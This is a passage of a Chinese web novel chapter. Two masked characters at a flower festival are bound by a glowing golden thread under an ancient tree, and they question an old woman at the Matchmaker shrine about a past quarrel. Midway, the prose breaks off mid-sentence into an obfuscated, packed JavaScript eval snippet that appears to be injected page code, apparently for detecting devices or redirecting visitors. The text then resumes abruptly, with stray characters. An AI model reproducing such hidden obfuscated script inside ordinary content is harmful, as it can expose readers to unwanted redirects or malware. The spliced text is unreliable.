温招没回答。她只是沉默地往前走,素净的衣角在拥挤的人潮中拂过,带着一种格格不入的冷冽。 人们下意识地避开她周身无形的低气压。面具掩盖了表情,却遮不住那股生人勿近的锋芒。 有人擦肩而过,面具下露出的眼睛带着好奇或惊艳,温招视若无睹。 她的世界此刻只有那棵古桂,以及林静姝话语里那个模糊的“闹了起来”。 这热闹底下藏着什么?林海高和那个女子,当年在这里发生了什么? 花灯的光芒在面具上流淌,映出冰冷的光泽。温招想,这世上许多事,越是热闹喧嚣,内里越是荒凉孤寂。 就像这满街的面具,藏起的未必是恶意,但真实总被深深掩埋。 她终于看到了那棵树。 古桂静立在月老祠旁,枝干虬结,沉默地撑开一片巨大的阴影。 即使在这样喧闹的夜晚,它周身也仿佛笼罩着一层亘古的静谧。 树下人影绰绰,多是成双成对,或羞涩,或虔诚地仰望着枝头,在这棵古桂下试图抽取象征姻缘福签。 祠前香火缭绕,烟气袅袅升起,又被夜风吹散。 温招停在稍远些的阴影里,像一尊没有温度的雕像,冷冷地注视着这一切。 时间仿佛在这里失去了意义,几年前的传闻以及百年前的传闻与眼前的人影重叠。 她试图从这浮华的景象里,剥离出当年那场争执的蛛丝马迹。 柳含烟在她身边不安地飘动:“温姑娘,我们现在……” 话未说完,温招的目光骤然一凝。 斜前方几步开外,一个戴着白猫面具的身影正注视着她,那人悠闲地倚在一处卖花灯的摊位旁。 身影修长挺拔,即使隔着面具,即使混在人群里,她也能一眼认出来,那是流里流气的阮时逢…… 他似乎早就看到了她,此刻面具下那双桃花眼弯起,隔着人群,精准地捕捉到她的视线,带着毫不掩饰的笑意。 他甚至还抬起手,对着她这边,极其自然地、带着点促狭意味地,挥了挥。 温招周身的气压瞬间又低了几度,眼底的冰层下仿佛有熔岩在滚动。她站在原地没动,只是冷冷地看着他。 阮时逢却像没事人一样,迈开步子,不紧不慢地穿过熙攘的人流,径直朝她走了过来。 他手里不知何时多了两盏小巧玲珑的兔子灯,暖黄的光映着他雪白的衣襟,在这光影陆离的街上,竟显出几分奇异的清俊。 他走到温招面前,隔着一步的距离停下,无视她周身散发的“生人勿近”的寒气,笑嘻嘻地开口,声音透过白猫面具,带着点闷闷的回响,却依旧清亮欠揍: “哟,姑娘也来求姻缘呐~”他故意把“求姻缘”三个字咬得又轻又飘,带着促狭的尾音,同时把其中一盏兔子灯朝温招递了递,“喏,分你一盏?花缘节嘛,应个景。” 在宫外又是花缘节,阮时逢定然是不能暴露温招身份的,只能唤温招为姑娘。 那暖黄的灯光几乎要碰到温招冰冷的面具。柳含烟紧张地往后缩了缩,魂体都绷紧了。 温招没接灯,面具后的眼神冷得像淬了毒的刀锋,直直刺向那张白猫面具:“阮时逢,你想死得更快一点,可以直接说。况且林静姝说,林海高前些年与其心上人曾在月老祠闹过一次,或许能找到些线索。” 阮时逢像是没察觉她的杀气,自顾自地掂了掂手里的兔子灯,暖光在他指尖跳跃:“姑娘查案归查案,何必绷这么紧?人生苦短,该看热闹时就得看热闹。” 他忽然凑近了一点,白猫面具几乎要贴上温招冰冷的银面,声音带着蛊惑般的轻佻。 柳含烟瞪大了眼睛,看着两人。 温招猛地抬手,不是接灯,而是快如闪电般扣向阮时逢递灯的手腕,指尖带着凌厉的风声。 阮时逢反应更快,手腕灵巧地一翻,兔子灯脱手向上抛起一个微小的弧度,恰好避开了温招的擒拿。 他顺势后退半步,稳稳接住落下的花灯,动作行云流水,仿佛只是拂了下衣袖上的灰尘。 “啧,姑娘还是这么心急。”他惋惜地摇摇头,语气却依旧轻快,“线索要慢慢找,仇呢……也得慢慢报,急不得。” 他晃了晃手里的灯,“这灯,您真不要?过了这村,可没这店了。” 温招的手停在半空,缓缓收回袖中。她盯着阮时逢,面具下的脸冷硬如石。 阮时逢也知道温招的性子,他直接将兔子灯塞进了她手中。 温招的手指在触到那盏温热的兔子灯时,下意识地一僵。竹篾的骨架隔着薄纸传递出暖意,与这喧闹的夜格格不入,也与她此刻冰封的心境相悖。她几乎想立刻将这碍眼的东西扔掉。 阮时逢却像完成了什么重要任务,满意地收回手,提着另一盏灯,转身就朝着古桂树的方向走去,步履轻松,仿佛笃定她会跟上。白猫面具在光影里晃动,像某种无声的挑衅。 温招盯着他的背影,又低头看了眼手里这盏散发着微弱暖光的小东西。柳含烟在她识海里小声嘀咕:“温姑娘……这灯……” “走。”温招的声音依旧冷硬,手却将那盏兔子灯握紧了,指节微微泛白。 她抬步跟上,素净的身影裹着寒气,在灯火人潮中破开一条无形的路,直指那棵沉默的巨树。 古桂树下,人群比别处更密集些。善男信女们仰望着虬结的枝干,试图抽取一支心怡的福签。 树下摆着一张长案,案上铺着红布,放着备好的红线,小巧的香炉,还有一摞摞空白的祈愿笺。 几个穿着素净袍子的庙祝正忙碌着,替抽取的福签的男女系上红线,指引他们写下心愿投入祠前的香鼎。 香火缭绕,烟气氤氲,将树下虔诚或羞涩的面孔笼罩得影影绰绰。 空气里弥漫着浓重的檀香、桂花香,还有纸张焚烧的气息。 阮时逢已经挤到了长案附近,正饶有兴致地看一对年轻男女笨拙地从那棵古桂上摘下两片叶子当纪念。 他回头,隔着攒动的人头,白猫面具精准地对上温招冰冷的视线,朝她扬了扬下巴,意思很明显:过来。 温招面无表情地走过去,所过之处,人群自动分开一条缝隙。 她在阮时逢身边站定,距离不远不近,目光越过人群,落在那些被系上红线,小心翼翼捧在手中的福签上。 “瞧见没,”阮时逢的声音透过面具传来,带着点懒洋洋的笑意,压得很低,只有温招能听清,“红线系签,再虔诚地写上心愿,投入香鼎烧给月老……多好的意头。” 你说当年林海高和他那位心上人,是不是也这样满怀期待地做过?” 他顿了顿,目光扫过那些或甜蜜或紧张的脸庞,语气里带上了一丝不易察觉的凉意:“然后,就在这棵树下,当着这么多祈愿者的面,闹翻了。那场面,啧啧,月老看了都得摇头吧?好好的一根红线,怕是当场就崩断了。” 温招没说话,只是看着。香鼎里的火焰跳跃着,吞噬着一张张写满心事的红笺,灰烬打着旋儿飘起,融进夜色。 祈求的声音、低低的笑语、树叶的沙沙声混杂在一起。她看到一张被投入火中的祈愿笺,边缘迅速卷曲焦黑,上面墨写的字迹在火光中一闪而逝,随即化为乌有。 阮时逢也看着那火光,白猫面具在跳跃的光影下显得有些莫测。他忽然侧过头,声音更轻了,带着一种近乎耳语的亲昵,却字字清晰。 “温姑娘,你说,这世上求来的东西,有多少能长久?烧给神仙的心愿,又有多少真能上达天听?不过求个心安罢了。就像这树下的热闹,散场之后,留下的除了灰烬,还有什么?” 他抬手,随意地指向香鼎上方飘散的一缕青烟:“瞧,像不像那些没人在意的旧事?风一吹,就散了。” 温招的目光终于从香鼎移开,落在他面具上露出的那双眼睛里。 那双桃花眼此刻褪去了惯常的戏谑,映着鼎中的火光,深不见底。他似乎在笑,又似乎没有。 “你究竟想说什么?”温招的声音很低,像冰层下流动的水。 阮时逢轻笑一声,恢复了那副玩世不恭的调子:“没什么,就是觉得,看别人求姻缘挺有意思。” 他晃了晃自己手里的兔子灯,“尤其是看某些人,明明不信,却还得捏着鼻子站在这儿。” 他意有所指地瞥了一眼温招手中那盏始终没有被她丢弃的暖灯。 温招握着灯柄的手指又收紧了几分,灯身发出细微的竹篾挤压声。 她没再看阮时逢,重新将目光投向那棵枝繁叶茂,承载了无数祈愿的古桂。香火的气息萦绕不去,鼎中的火焰明明灭灭。 她不信吗? 她曾经是信的,在入宫前的每一个花缘节,她都曾来过此处,她是命定的宫妃,每年花缘节,她都会带着面具来到古桂下求签,随后到月老祠上香,只为求得未来属于常青赐予的恩宠。 可如今重活一世……哪有什么命不命定的……前世说她是朝阳命,却依旧被命定之人亲手抛下…… 这棵树看了多少悲欢离合?那些被焚毁的心愿,那些断掉的红线,最终都去了哪里? 温招眸子黯淡了些,阮时逢的目光落在温招握着兔子灯,指节微微发白的手上,又滑过她面具下那双骤然黯淡的眼眸。 那瞬间的失神,快得像错觉,却没能逃过他的眼睛。 “啧,姑娘这表情,”他忽然出声,打破了围绕在两人之间那层冰冷的沉寂,声音带着惯常的调笑,却似乎少了点轻浮,“不知道的,还以为月老欠了您八百两银子没还呢。” 温招猛地回神,眼底的黯淡瞬间被更深的冰寒覆盖,冷冷地扫向他。 阮时逢却像没看见,自顾自地往前挤了两步,来到长案边。 他伸手,极其随意地从竹筒里抽走两支福签,动作自然得仿佛那福签本就是他的。负责看管福签的那姑娘“哎”了一声,对上他白猫面具下弯起的桃花眼,脸一红,竟忘了计较。 “喏,”阮时逢转身,将其中一支福签塞进温招空着的左手里,冰凉的触感擦过她温热的掌心,“来都来了,应个景呗。” 温招看着掌心那支福签尖下意识蜷缩了一下。 这东西,她曾经求过多少次?每一次都带着对所谓“命定”的,可笑的虔诚。 阮时逢已经将另一支福签递给案后的庙祝,是个头发花白的老者。 老者接过福签,熟练地拿起一根细细的红线。 “劳驾,”阮时逢的声音透过面具,带着点漫不经心的笑意,“替我们系上。” 老者抬眼看了看眼前这对男女,一个戴着滑稽的白猫面具,举止轻佻;一个覆着冰冷的银面,浑身散发着生人勿近的气息。 怎么看都不像是来诚心求姻缘的。但他没多问,只是沉默地拿起两支福签,用那根细细的红线缠绕起来,动作沉稳而专注。 温招看着老庙祝布满皱纹的手指灵活穿梭,红线在昏黄灯火下泛着微弱的柔光,一圈圈缠绕,将那支冰冷的福签缠满红线。 这场景刺眼得熟悉。前世每一次跪在月老祠前,看着红线缠绕福签,她心中涌动的都是对所谓“天定良缘”的笃信与期盼。如今再看,只觉得那红线像冰冷的锁链。 “红线系住的,究竟是良缘,还是孽债?”她开口,声音透过面具,带着彻骨的冷嘲,像在问庙祝,问自己,也问这看过太多悲欢离合的古树。 老庙祝的手几不可察地顿了一下,浑浊的眼珠抬起,看了温招一眼,又垂下去,继续缠绕。他没回答。 阮时逢却低低笑了一声,白猫面具转向她:“姑娘这话问得妙。依我看,系住什么都好,总比什么都系不住,风一吹就散了好。”他意有所指,目光扫过香鼎里飘散的灰烬。 温招没理他,目光落在自己掌中那支孤零零的福签上。福签上刻着模糊的纹路。 她曾经虔诚地摩挲过多少支这样的签?求的不过是镜花水月一场空。 温招却还是将福签递给了老庙。 老庙祝终于缠好了红线。他将两支系在一起的福签小心地放在案上铺开的红布上,又取过两枚小巧的铜铃,系在红线两端。 铜铃古朴,刻着简单的祥云纹。 “成了。”老庙祝的声音沙哑低沉,像蒙尘的旧钟,“二位可去树下静候片刻,待月华浸透福签,再一同解下。若红线不断,铜铃齐鸣,便是好兆头。” 他顿了顿,浑浊的眼睛似乎穿透了面具,落在温招身上,“心诚则灵。” 最后四个字,他说得极轻,却像石子投入冰湖,在温招心底激起一圈冰冷的涟漪。心诚?她前世还不够诚吗?换来的是什么? 阮时逢已伸手拿起那对系在一起,缀着铜铃的福签,铃铛发出两声极轻的脆响。 他将其中一枚铜铃连着福签递向温招:“走吧姑娘,去树下静候月华?心诚一点,说不定真能灵验呢。”他尾音拖长,带着惯有的戏谑。 温招盯着他递过来的东西,那枚小小的铜铃在灯火下泛着幽光。她没有立刻去接。 阮时逢也不急,就那么举着,白猫面具下的眼睛弯着,耐心地等她。 树下人影攒动,成双成对,低声笑语。温招站在阴影里,像一尊格格不入的寒玉雕像。 这喧嚣的祈愿场,于她而言只是一片荒芜的废墟。所求皆空,所信皆妄。 她最终伸出手,冰凉的指尖触到那枚铜铃,也触到阮时逢微温的指节。 她迅速将铜铃和福签抓在手里,像是抓住一块烙铁。 “姑娘果然还是想试试的。”阮时逢轻笑,率先转身,提着那盏兔子灯,分开人群,朝古桂树下稍僻静些的一角走去。 他手中的铜铃随着步伐发出细碎的轻响。 温招握着那冰冷的福签和铜铃,指节用力到发白。铜铃的棱角硌着掌心,带来细微的痛感。 柳含烟在她识海里担忧地轻唤:“温姑娘……” 温招抬步跟上。素净的衣角拂过地面,没有沾染半分节日的暖意。 古桂巨大的阴影笼罩下来,隔绝了部分喧嚣。空气里弥漫着更浓郁的、属于老树的沉郁气息和香火余烬的味道。 阮时逢在一处人稍少的虬根旁站定,将兔子灯随意地放在凸起的树根上。 暖黄的光晕只照亮小小一圈。 他倚着树干,姿态闲散,白猫面具转向随后走来的温招:“地方不错吧?安静,适合姑娘思考人生,或者……想想怎么报踹屁股的仇?” 温招停在几步开外,没理会他的挑衅。她抬头,透过交错的枝桠望向夜空。 月亮被薄云遮着,透出朦胧的光晕,吝啬地洒下一点清辉。所谓的“月华浸透”,此刻看来像个笑话。 她低头,看着自己手中那支被红线紧紧缠绕、系着冰冷铜铃的福签。 前世的每一次祈愿,她都带着面具,怀着隐秘的期盼,在月下静候,仿佛真有什么天命会降临。 如今,天命成了她最深的嘲讽。 “阮时逢,”她忽然开口,声音很轻,却清晰地穿透了树下模糊的低语,“你说,一棵树,真能绑住两个人的命运吗?” 她摩挲着福签上粗糙的刻痕,像是在问,又像是在陈述一个早已看透的事实:“人心易变,誓言如烟。系再多的红线,烧再多的祈愿,不过是求个自欺欺人的心安。 风过,古桂枝叶婆娑,沙沙作响,像一声悠长的叹息。远处鼎炉里的香灰打着旋儿飘起,融入夜色。 阮时逢倚着树干,白猫面具转向她。面具下的眼睛在树影和灯火的交界处,映着一点微光,少了几分惯常的戏谑,多了些难以捉摸的沉静。 “自欺欺人?”他轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温招垂眸,看见自己腕间那枚冰冷的铜铃无风自动,发出极轻的碎响。 几乎同时,另一串更清晰的铃声在身侧响起,是阮时逢掌心里的铃。 叮铃,叮铃。 两串细碎的铃声在古桂巨大的阴影下突兀地交织,像投入滚油的冷水。 喧嚣的长街仿佛被无形的巨手扼住喉咙,骤然死寂。鼎沸的人声、笑语、丝竹,潮水般退去。无数道目光从四面八方投射过来,带着惊疑,茫然,最终化为一种近乎灼烫的探究,死死钉在树下的两人身上。 温招猛地抬眼,撞上阮时逢同样看过来的视线。 隔着滑稽的白猫面具与冰冷的银面,那双向来含笑的桃花眼,此刻瞳孔深处似有惊澜骤起,凝固了一瞬。 一道金色的光,就在这死寂与千百道目光的聚焦下,凭空出现在两人之间。 它并非实体,却清晰可见,带着一种难以言喻的、仿佛来自亘古的温润质感。 一端系在她纤细的手腕,另一端缠绕在他骨节分明的手腕上。 那光芒并不刺眼,却将两人之间短短几步的距离,映照得纤毫毕现,如同被无形的命运之笔,画下了一道不可逾越的界限。 一条泛着金光的红线。 虚无,却又无比真实地连接着他们。 温招的呼吸停滞了。面具下的眼睛瞪得极大,映着那道不可思议的金线,仿佛看到了最荒诞的噩梦降临。 指间那支系着红线的福签变得滚烫,几乎要灼伤她的掌心。 前一刻还在嘲讽姻缘虚妄,后一刻就被这超乎常理的存在狠狠掴了一掌。 阮时逢也定在原地。他惯常挂在唇边的戏谑弧度彻底消失,白猫面具遮掩了表情,只有那握着福签的手指,几不可察地收拢了一下,指节绷得发白。 他似乎想动,想扯一下嘴角说句什么混账话打破这诡异的僵局,但身体却像被那道金光钉住了。 时间仿佛被拉长。古桂的枝叶在月华下投下斑驳的碎影,落在那条悬空的金线上,也落在两人僵硬的身影上。 “天……天哪……”一个离得近的卖花灯姑娘最先找回声音,捂住嘴,眼睛瞪得溜圆,手里的花灯差点掉在地上。 “红线……是月老的红线显灵了!”有人失声惊呼,声音带着颤抖的敬畏。 “桂仙赐缘……是真的!古桂有灵!”人群像炸开的油锅,死寂被更汹涌的声浪取代,惊疑、激动、狂热的低语汇成一片模糊的潮声,无数道目光变得更加灼热,几乎要将树下两人烧穿。 “是……是他们!”有人指着温招和阮时逢,声音激动得变了调,“刚才就是他们一起解的福签!红线系铃,月华浸透……桂仙显灵了!绑定了正缘!” “命定的姻缘!”另一个声音斩钉截铁地附和,带着不容置疑的笃信。 老庙祝早已放下手中的活计,浑浊的眼睛死死盯着那道连接两人的金线,嘴唇无声地翕动着,满是褶皱的脸上是极致的震惊与一种近乎虔诚的恍惚。 他颤巍巍地向前挪了一步,竟似要朝着那金线跪下。 温招听着耳边炸开的喧嚣,那些“命定”、“正缘”、“桂仙显灵”的字眼如同冰锥,狠狠凿进她刚刚筑起的心防。前世求而不得的天命,今生避之不及的孽债,竟以如此荒诞绝伦、不容置疑的方式,具象为一道连接她与阮时逢的金光。 她下意识地想要后退,想要挣脱腕上这无形的枷锁。 可那金线看似虚无,却带着一种难以撼动的力量,将她牢牢钉在原地,与几步之外那个戴着白猫面具的混蛋紧紧相连。 荒谬。极致的荒谬感裹挟着冰冷的愤怒和一丝连她自己都不愿深究的恐慌,瞬间淹没了她。 她猛地转头,再次看向阮时逢。 这一次,她的目光不再是冰冷的审视,而是带着一种被命运戏弄后的慌乱。 阮时逢也正看着她。隔着两道面具,隔着那条灼目的金线,他眼中那瞬间的惊澜似乎沉淀了下去。 他忽然抬起那只被金线束缚的手,不是指向红线,而是叩住了温招的手,他骨节分明的指尖紧紧包裹着温招袖下,那早已冰凉的小手。 一种前所未有的安定感,涌上温招的心头,她不禁往阮时逢身后躲了躲,挡去了众人的视线。 阮时逢向前微踏半步,姿态依旧闲散,甚至有些过分从容了。 他抬起那只没被金线束缚的手,指尖不知何时夹了几粒碎金,在满街灯火和朦胧月华下折射出细碎炫目的光。 他朗声笑道,声音清亮,轻易盖过了现场的嘈杂:“天意既如此,在下便却之不恭了!今日得遇正缘,实乃三生有幸。诸位都是见证,良辰难得,不如也沾沾这喜气!” 话音未落,他手腕一扬,那几粒碎金便划出几道灿亮的弧线,高高抛向人群后方。 “赏你们的!” 这三个字如同投入滚油的冷水,瞬间引爆了原本还沉浸在神迹震撼中的人群。 “金子!” “是金瓜子!” 人群轰然骚动起来,惊呼和狂喜的浪潮顷刻吞没了先前关于天命和姻缘的窃窃私语。 敬畏让位于最直接的贪欲,无数道目光霎时从温招和阮时逢身上撕开,急切地追向那几粒飞落的金光。人们推挤着、叫嚷着、弯腰争抢,场面一时混乱不堪。 那根连接两人手腕的金色光绳,在这突如其来的混乱映衬下,依旧静静悬浮,散发着亘古而温和的光泽,无声诉说着某种超越凡俗的,不容辩驳的法则。 阮时逢趁这间隙,猛地一扯温招的手腕。 “发什么呆,走!” 他声音压低了,带着不容置疑的急迫,拽着她转身就挤向与人群争抢相反的方向。 温招几乎是踉跄着被他拖行。 她的思维还滞留在那金光浮现的刹那,停留在“命定”二字带来的巨大荒谬和心悸里,身体却已本能地跟着那强大的牵引力移动。 素净的衣角擦过匆忙避让的行人,手被他攥得生疼,那盏可笑的兔子灯早在不知何时脱手,湮灭在杂乱的脚步下。 柳含烟的魂体惊慌地紧跟着,像一缕苍白的烟。 两人趁机钻进了月老祠,动荡的祠堂里只剩下一位老妪正在打扫着祠堂。 月老祠内烛火摇曳,将三人身影拉得细长,投在陈旧斑驳的墙壁上,无声扭动。 空气里积年的檀香沉甸甸压下来,混着尘埃和一种难以言喻的陈旧气息。 那老妪停下洒扫的动作,直起身,目光浑浊却精准地落在两人腕间。 那道连接彼此的金色光绳在昏暗祠内愈发显眼,流淌着静谧而诡异的光泽。 她脸上深刻的皱纹纹丝不动,只眼底掠过一丝极淡的了然,仿佛目睹了某种早已注定的寻常。 温招猛地甩开阮时逢的手,腕间金光随之轻颤。那触感残留着,温热且莫名牢固。 她压下心头翻涌的惊涛,上前一步,银面具在烛光下泛着冷硬的光。 “婆婆,”她开口,声音刻意放平,却仍带着一丝未褪尽的紧绷,“向您打听件事。几年前,是否有一对男女,在此地……闹得不太愉快?男子应叫林海高。” 老妪沉默地看着她,又缓缓移目看向她腕间的金光,以及旁边那个戴着白猫面具,姿态看似放松却透着一丝难以言喻专注的阮时逢。祠外远处的喧嚣被厚墙滤得模糊,衬得祠内死寂。 “来过。”良久,她沙哑的嗓音像磨损的旧绸,擦过寂静,“不止一对。这地方,笑着进来,哭着出去的,多了。” 她弯腰,慢腾腾将香案旁落下的几片枯叶扫进畚箕,动作迟缓得令人心焦。 温招耐着性子:“那林海高与他同来的女子,当时为何争执?您可还记得?” 老妪的动作顿住。她抬起眼,目光再次胶着在那条金线上,浑浊的眼底似乎有什么东西沉淀下去。 “记得一些。”她声音更哑了些,“那男娃,看着体面,心里藏了怕。女娃……眼神亮,想要个明白。” 她摇摇头,像是要甩掉什么不愉快的记忆:“他们也在树下系了叶,求了签。和你们一样……不一样。”她的目光又一次掠过金光,意味难明。 “后来呢?”温招追问。 “后来?”老妪扯了扯干瘪的嘴角,像个僵硬的苦笑,“吵开了。为的什么?左不过那些——前程,家族,真心假意,一时长短。男人要娶妻了,女子怨男人薄情。话赶话,都往狠处说,撕破了脸皮,红线当场就扯断了,扔进香鼎里,烧得噼啪响。” 她顿了顿,目光投向祠外,仿佛能穿透墙壁看到当年:“那女娃……性子烈,烧了福签,脸白得像雪,盯着那火,笑了几声,比哭还难听。” “”她说……‘林海高,今日这月老祠前的灰,都比你的话真些。’说完就走了,再没回头。” 老妪收回目光,看向温招和阮时逢,特别是他们之间那抹无法忽视的连结:“这祠里见过太多聚散,求来的,未必是福。” “断掉的,也未必是祸。有些人,注定走不到一条道上,强拴在一起,不过是多添一对怨偶。有些东西,比石头沉,比命长,烧成灰,风一吹,好像就散了……” 她的话音低沉下去,带着一种看尽世事后的疲惫苍凉:“可散了的,未必就真没了。人心里的印记,比你们手上这玩意儿,更难磨灭。只是金色的线……老身还是第一次见。” 阮时逢忽然轻笑一声,打破了祠内沉重的寂静。他抬手,指尖轻轻碰触腕间流转的金光,那动作带着几分探究,几分玩味,白猫面具侧转向温招。 “听见没?”他语调懒洋洋,却像根针,精准刺破凝滞的气氛,“比石头沉,比命长……啧,姑娘,咱们这姻缘,看来分量不轻啊。” 那金光在他指尖触碰下,似乎微微荡漾了一下,温润依旧,亘古不变。 30.030 温招猛地抽回手,金光被拉直,绷出一道微弧,晃人眼。“闭嘴。”她声音压得低,淬着冰,“谁跟你咱们。” 老妪浑浊的眼珠动了动,目光在那道金线和两人之间逡巡,干瘪的嘴唇蠕动着,最终只化作一声极轻的叹息,低下头继续慢吞吞地扫地,畚箕边缘摩擦地面,发出沙沙的轻响,将这祠内短暂的动荡也一并扫入尘埃。 祠外鼎沸的人声并未完全散去,隔着墙壁嗡嗡作响,衬得祠内愈发寂静,一种难以言喻的紧绷在三人之间蔓延。 温招背过身,不再看那道光,也不看阮时逢。她走向祠内一侧陈列旧物的木架,指尖拂过积尘的签筒,几卷陈旧发黑的祈愿红绳,目光最终落在一本摊开的,边角卷曲严重的旧册子上。 那似乎是月老祠存放多年,供人翻阅的签文解注,纸页黄脆,墨迹黯淡。 她随手翻动,纸页发出脆响。 并非真想求什么签解,只是想找点事做,避开那道无处不在的金光,避开身边那人几乎能穿透面具的视线。 阮时逢倒也没再凑近,只倚在门边,白猫面具歪着,露出小半截线条流畅的下颌。 他瞧着温招那副强自镇定的模样,眼底掠过一丝连自己都未曾察觉的复杂情绪。 腕间的金线随着他细微的动作轻轻摇曳,另一端连着的温度清晰分明。 他忽然觉得有点意思。这世上万千求而不得,偏偏是他和她之间,多了这么一道甩不脱的玩意儿。天意弄人……他命定的妻,竟是她。 阮时逢曾卜过很多卦象,他却只为自己卜过一卦。 六岁那年卜出的卦象至今清晰。 本是学算仕途前程,指尖刚搭上卦盘便偏了方向。铜钱落地声响清脆,三爻成象,偏偏是姻缘线。 师傅在旁斥他胡闹,他却盯着卦象看了许久。 上面明明白白显了时日。二十二岁。 还显了人。一个女子。 卦象没说她是谁,只透着一股劲儿。 不是温婉和顺的路数,是能搅乱局面的气性。 当时他年纪小,不懂什么叫翻云覆雨,只觉得那卦象上的纹路张牙舞爪,不像善茬。 这世上的事有时真说不清。你以为躲得掉的,偏在某个时辰撞个正着。 他低头看了眼腕间金线,另一端连着的人还在跟那本旧册子较劲。纸页翻动的脆响里,藏着她没说出口的烦躁。 阮时逢忽然觉得,六岁那卦没骗人。 这女子,确实不像会安安分分待着的样子。 所谓翻云覆雨,大抵就是她这样。哪怕站在原地不动,也能让周遭的空气都跟着她的情绪变。 他靠在门边没动,白猫面具遮住了大半张脸。 心里头有点说不清的滋味,像被什么东西轻轻撞了一下。 命定的妻。 他以前不信这个。 现在看着那道背影,倒觉得,或许师傅当年说得不对。这不算胡闹。 算……天意。 “找到了!” 随着温招的声音阮时逢的思绪被拉回。 温招的指尖停在那一行潦草却决绝的小字上,声音透过面具,带着一种揭开尘封旧事的冷峭:“萧残秋。” 她抬起头,目光越过昏黄烛火,看向那扫地老妪:“婆婆,那女子可是叫这个名字?” 老妪摇摇头:“年纪大了,记不清了。” 月老祠内烛火轻晃,将温招的身影投在陈旧签文上,拉出一道沉默的轮廓。她指尖压着那黄脆纸页上的“萧残秋”三字,力道重得几乎要按穿纸张。 老妪佝偻着背,畚箕摩擦地面的沙沙声未停,像是没听见,又像是听见了,但懒得再费神回应。她只慢吞吞将香案下的最后一点灰扫净,浑浊的眼珠半垂着,映着地上摇曳的影。 阮时逢从门边直起身,白猫面具下的目光落在温招紧绷的背脊上,又滑向她腕间那抹依旧流淌的金光。他自己腕间也牵着另一端,无声,却无处不在。 他忽然开口,声音透过面具,少了惯常的轻佻,多了点别的什么:“记不清名字,总该记得点别的。那女子后来如何了?总不能真化作一阵风,散了个干净。” 老妪终于停下动作,抬起头,皱纹深刻的脸上没什么表情。她看看阮时逢,又看看温招,最后目光落回两人之间那根线上,半晌,扯了扯嘴角,那弧度干涩得像老树皮开裂。 “散?哪那么容易。”她声音哑得厉害,“人活着,就有踪迹。那女娃……后来像是入了南边的什么庵堂,青灯古佛伴着了却残生了吧。具体是哪个庵,老婆子可就真不知道了。” 她顿了顿,浑浊的眼里透出一点极淡的、近乎怜悯的光,却不是对往事的怜悯,而是对着眼前这两个被无形之物捆绑的人。 “年轻人,有些旧事刨得太深,翻出来的不一定是答案,反倒是陈年的灰,呛人肺管子。 有些人走了,不是为了让谁记住,恰恰是为了让人忘了。” 她弯腰,端起那盛着枯叶和灰尘的畚箕,转身朝祠后走去,脚步蹒跚,背影融进昏暗里,只留下最后一句飘忽的话,散在沉甸甸的檀香气里。 “线都缠上了,就别光盯着从前那些断掉的。眼前的……才最缠人。” 祠内彻底安静下来,只剩下烛火偶尔爆开的细微噼啪声。 温招盯着那“萧残秋”三个字,指尖微微发麻。庵堂……竟是这样的结局。 一场争执,断掉的红线,竟能将一个鲜活的人推入那般枯寂的境地。 她心头漫上一股难以言喻的凉意,并非全为那陌生女子的命运,更因这命运背后冰冷的因果。 她下意识想蜷起手指,却再次清晰地感觉到腕间那道光绳的存在,温润,牢固,不容拒绝地连接着另一个人。 阮时逢不知何时走到了她身侧,没有靠得太近,却足以让那金线在他们之间松弛成一个微弯的弧度。 他没有看那本旧册子,只是看着温招面具下露出的一点紧绷下颌。 “听见了?”他声音不高,在这寂静里却格外清晰,“南边的庵堂。范围不小,但总比大海捞针强点。” 他停顿了一下,似乎在斟酌措辞,最终却只是轻轻笑了一下,那笑声里听不出什么情绪:“温姑娘,看来咱们这趟花缘节,不算全无收获。至少……替你省了不少查证的工夫。” 他的目光也落在自己腕间的金光上,语气变得有些难以捉摸:“就是这‘收获’的代价,特别了些。” 温招猛地合上册子,发出“啪”一声轻响,截断了他的话,也截断了祠内那令人窒息的沉默。 黄脆的纸页扬起细小的尘埃,在烛光中飞舞。 她转过身,银面具冷硬地对着他,眼底所有因往事而起的波澜都被强行压下,只剩下惯有的冰封般的戒备与疏离。 “线索既已到手,此地不宜久留。”她声音恢复了一贯的冷澈,仿佛刚才那一瞬间的震动从未发生,“至于这玩意儿……” 她抬起手腕,金光随之流动,映亮她冰冷的银色面具边缘。 “总有办法弄断它。” 柳含烟不懂,阮时逢也不懂。 这一世,她要杀的人太多了,背负的也太多了,为了前世的仇也好,为了李婆和万诡门的传承也罢,她都不能和无辜的人有任何一丝瓜葛和留给无辜之人任何一丝念想。 祠内的沉闷被阮时逢一声轻笑打破。他甩了甩手腕,那金光随着他的动作在空中荡出柔软的弧度,像一道温顺的流水。 “断自然是要断的,这般绑着,实在有损在下风流倜傥的名声。” 他语调扬起,又变回那副玩世不恭的腔调,白猫面具歪戴着,露出那双总含着戏谑的眼睛。 “不过,这等稀罕物事,硬来怕是适得其反。总得寻个温和些的法子,你说是不是?” 他不等温招回答,便率先朝祠外走去,那金光因着他的步伐被轻轻拉扯。 温招站在原地,腕间传来细微的牵引力,无声地催促着。她沉默一瞬,终是抬脚跟了上去。 踏出月老祠,喧嚣裹着夜风迎面扑来。人潮已不似先前鼎沸,疏朗了许多,花灯依旧亮着,将青石板路映得一片暖黄。 小贩的叫卖声、零星的嬉笑声、远处隐约的丝竹声交织在一起,烘出节日末尾特有的慵懒热闹。 两人并肩走着,中间隔着一步的距离,那道连系彼此的金线在衣袖间若隐若现,在灯下流转着微妙的光泽。 柳含烟的魂体小心翼翼地飘在一旁,尽量不打扰这诡异的和谐。 阮时逢负着手,步子迈得悠闲,仿佛腕上拴着的不是一道诡异金光,而是什么新奇的玩具。他侧过头,白猫面具对着温招:“温姑娘,既然一时半会儿拆不散,不如暂且休战?你看这满街灯火,辜负了岂不可惜。” 温招目不斜视,银面具遮住所有表情,只有清冷的声音传出:“本小姐没那份闲心。” “啧,人生苦短,忧思伤身。”阮时逢浑不在意地摇头。 温招本是目不斜视的,却在目光扫过街边摊位,忽然在一处摊位上多停留了几秒钟。 那是一个卖糖人的老翁,手巧得很,案板上插着各式晶莹剔透的糖人,在灯火下亮晶晶的。 阮时逢注意到了她微小的举动,勾了勾唇。他 